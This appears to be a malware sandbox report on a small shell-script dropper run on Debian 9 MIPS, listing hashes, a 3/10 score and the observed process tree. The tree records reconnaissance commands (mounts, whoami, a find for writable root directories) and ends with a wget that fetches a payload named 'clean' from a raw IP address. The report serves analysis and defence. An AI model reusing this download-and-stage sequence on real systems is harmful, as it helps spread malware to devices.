Overview

overview

9

Static

static

1

sh

ubuntu-18.04-amd64

9

sh

debian-9-armhf

6

sh

debian-9-mips

3

sh

debian-9-mipsel

7

Analysis

  • max time kernel
    47s
  • max time network
    170s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260126-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260126-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    04/05/2026, 09:47

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    sh
  • Size 2KB
  • Sample260504-lsfessbw4m
  • SHA256 6e55b212f06eda7e0993d1302332e20453df87c66987acc3be3206ec9e9ffa6f
  • MD5 SHA1 SHA512 TLSH
Score
3/10
discovery

Malware Config

Signatures

  • Reads runtime system information 3 IoCs

    Reads data from /proc virtual filesystem.

    discovery

Processes

  • /tmp/sh
    /tmp/sh
    1⤵
      PID:706
      • /usr/bin/awk
        awk "{print \$2}"
        2⤵
        • Reads runtime system information
        PID:714
      • /bin/grep
        grep noexec
        2⤵
          PID:713
        • /bin/cat
          cat /proc/mounts
          2⤵
          • Reads runtime system information
          PID:712
        • /usr/bin/whoami
          whoami
          2⤵
            PID:717
          • /usr/bin/find
            find / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*"
            2⤵
            • Reads runtime system information
            PID:718
          • /bin/uname
            uname -mp
            2⤵
              PID:723
            • /usr/bin/tr
              tr -d " "
              2⤵
                PID:728
              • /usr/bin/od
                od -An -N2 -i /dev/urandom
                2⤵
                  PID:727
                • /usr/bin/expr
                  expr -1596325888 "%" 32 + 4
                  2⤵
                    PID:729
                  • /usr/bin/tr
                    tr -dc A-Za-z0-9
                    2⤵
                      PID:732
                    • /usr/bin/openssl
                      openssl rand -base64 256
                      2⤵
                        PID:731
                      • /usr/bin/head
                        head -c 4
                        2⤵
                          PID:733
                        • /usr/bin/touch
                          touch .testfile
                          2⤵
                            PID:734
                          • /bin/dd
                            dd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"
                            2⤵
                              PID:736
                            • /bin/rm
                              rm -rf .testfile .testfile2
                              2⤵
                                PID:737
                              • /bin/rm
                                rm -rf clean
                                2⤵
                                  PID:738
                                • /usr/bin/wget
                                  wget --no-check-certificate -q https://125.135.169.171/clean
                                  2⤵
                                    PID:739

                                Network

                                      MITRE ATT&CK Matrix

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      .testfile2
                                      • Path /.testfile2
                                      • Size 2.0MB
                                      • SHA256 5647f05ec18958947d32874eeb788fa396a05d0bab7c1b71f112ceb7e9b31eee
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download